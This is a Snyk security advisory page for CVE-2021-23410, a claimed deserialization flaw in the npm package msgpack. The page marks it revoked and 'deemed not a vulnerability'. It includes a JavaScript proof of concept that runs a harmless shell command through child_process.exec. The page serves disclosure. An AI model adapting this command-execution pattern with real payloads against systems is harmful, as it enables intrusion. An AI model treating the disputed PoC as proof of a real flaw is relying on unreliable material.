Deserialization of Untrusted Data The advisory has been revoked - it doesn't affect any version of package msgpack  (opens in a new tab)


Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.24% (64th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Deserialization of Untrusted Data vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-MSGPACK-1296122
  • published21 Jul 2021
  • disclosed21 May 2021
  • creditAdi Malyanker

Introduced: 21 May 2021

CVE-2021-23410  (opens in a new tab)
CWE-502  (opens in a new tab)
First added by Snyk

Amendment

This was deemed not a vulnerability.

Overview

msgpack is an A space-efficient object serialization library for node.js

Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the unpack function.

N.B: this affects the NPM package msgpack only, NOT the more popular package @msgpack/msgpack.

PoC by Adi Malyanker

var assert = require('assert');
var msgpack = require('msgpack');
function sleep(ms) {
return new Promise((resolve) => {
setTimeout(resolve, ms);
});
}
async function init() {
var normal = {"a" : 1, "b" : 2, "c" : [1, 2, 3]};
var malicious = msgpack.pack({exploit : function(){require('child_process').exec('echo code_executed!;sleep 3', function(error,stdout, stderr) { console.log(stdout) });}(),}); 
var rce = msgpack.unpack(malicious);
assert.deepEqual(rce, normal);
}

init();

References